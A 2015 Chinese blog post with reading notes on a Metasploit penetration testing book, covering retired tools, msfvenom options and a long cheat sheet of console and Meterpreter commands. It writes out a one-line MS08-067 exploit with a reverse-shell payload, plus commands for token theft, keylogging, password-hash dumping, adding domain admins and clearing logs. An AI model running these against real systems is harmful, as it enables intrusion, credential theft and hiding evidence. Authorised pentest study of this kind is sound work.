读《Metasploit渗透测试指南》
本文写于 2015.12.22
这几天看《 Metasploit 渗透测试指南》,有些内容好像已经过时了。用户接口讲了三种: MSF 终端,MSF 命令行和 Armitage,而从今年的六月份开始,Msfcli 就与我们说再见了,同时,可以通过 Msfconsole 使用 -x 选项来取代 Msfcli 。
举个例子,在一条命令中使用 MS08_067 模块。
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"
也可以分步写或者做成脚本来简化输入:
use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run
然后运行它:
msfconsole -r name_of_resource_script.rc
如果你已经运行了 msfconsole ,就输入下面的:
msf > resource name_of_resource_script.rc
另外, msfpayload 和 msfencode 也退休了, msfvenom 是它们的继承者,如果对新工具还不熟悉,可以使用 -h 选项来获得帮助。
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch <architecture> The architecture to use
--platform <platform> The platform of the payload
-s, --space <length> The maximum size of the resulting payload
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
--payload-options List the payload's standard options
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
-h, --help Show this message
--help-formats List available formats
参考文章:
- Weekly Metasploit Wrapup
- Msfcli is no longer available in Metasploit
- Good-bye msfpayload and msfencode
- MsfPayload and MsfEncode are being removed from Metasploit
Metasploit 常用命令列表
MSF 终端命令
show exploits (列出所有渗透攻击模块
show payloads (列出所有攻击载荷
show auxiliary (列出所有辅助攻击模块
search names (查找所有的渗透攻击和其他模块
info (展示出制定渗透攻击或模块的相关信息
use name (装载一个渗透攻击或者模块
LHOST (本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网时,就需要时一个公共的IP地址,特别为反弹式shell使用。
RHOST (远程主机或者目标主机
set function (设置特定的配置参数
setg function (以全局方式设置特定的配置参数
show options (列出某个渗透攻击或模块中所有的配置参数
show targets (列出渗透攻击所支持的目标平台
set target num (指定你所知道的目标的操作系统以及补丁版本类型
set payload payload (指定想要使用的攻击载荷
show advanced (列出所有高级配置选项
set autorunscript migrate -f (在渗透攻击完成后,将自动迁移到另一个进程
check (检测目标是否对选定渗透攻击存在相应安全漏洞
exploit (执行渗透攻击或模块来攻击目标
exploit -j (在计划任务下进行渗透攻击,攻击在后台进行
exploit -z (渗透攻击成功后不与会话进行交互
exploit -e encoder (制定使用的攻击载荷编码方式
exploit -h (列出帮助信息
sessions -l (列出可用的交互会话,在处理多个shell时使用
sessions -l -v (列出所有可用的交互会话以及会话详细信息
sessions -s script (在所有活跃的会话中运行一个特定的脚本
sessions -K (杀死所有活跃的交互会话
sessions -c cmd (在所有活跃的会话上执行一个命令
sessions -u sessionID (升级一个普通的win32 shell到meterpreter shell
db_create name (创建一个数据库驱动攻击所要使用的数据库
db_connect name (创建并连接一个数据库驱动攻击所要使用的数据库
db_nmap (利用nmap并把扫描数据存储到数据库中
db_autopwn -h (帮助信息
db_autopwn -p -r -e (对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell
db_destroy (删除当前数据库
db_destroy user:password@host:port/database (使用高级选项来删除数据库
Meterpreter命令
help (帮助
run scriptname (运行脚本
sysinfo (列出受控主机的系统信息
ls (列出目标主机的文件和文件夹信息
use priv (加载特权提升扩展模块
ps (显示所有运行进程以及关联的用户账户
migrate PID (迁移到一个指定的进程ID
use incognito (加载incognito功能,用来盗窃目标主机的令牌或是假冒用户
list_tokens -u (列出目标主机用户的可用令牌
list_tokens -g (列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\USERNAME (假冒目标主机上的可用令牌
steal_token PID (盗窃给定进程的可用令牌并进行令牌假冒
drop_taken (停止假冒当前令牌
getsystem (通过各种攻击向量来提升到系统用户权限
shell (以所有可用令牌来运行一个交互的shell
execute -f cmd.exe -i (执行cmd.exe命令并进行交互
execute -f cmd.exe -i -t (以所有可用令牌来执行cmd命令
execute -f cmd.exe -i -H -t (以所有可用令牌来执行cmd命令并隐藏该进程
rev2self (回到控制目标主机的初始用户账户下
reg command (在目标主机注册表中进行交互,创建,删除,查询等操作
setdesktop number (切换到另一个用户界面
screenshot (对目标主机屏幕进行截图
upload file (向目标主机上传文件
download file (从目标主机下载文件
keyscan_start (针对远程目标主机开启键盘记录功能
keyscan_dump (存储目标主机上捕获的键盘记录
keyscan_stop (停止针对目标主机的键盘记录
getprivs (尽可能多的获取目标主机上的特权
uictl enable keyboard/mouse (接管目标主机的键盘和鼠标
background (将当前的shell转为后台执行
hashdump (导出目标主机中的口令哈希值
use sniffer (加载嗅探模块
sniffer_interfaces (列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname (在目标主机上启动嗅探
sniffer_start interfaceID packet-buffer (在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_starts interfaceID (获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID (停止嗅探
add_user username password -h ip (在远程目标主机上添加一个用户
add_group_user “Domain Admins” username -h ip (将用户添加到目标主机的域管理员组中
clearev (清除目标主机上的日志记录
timestomp (修改文件属性
reboot (重启目标主机
Comments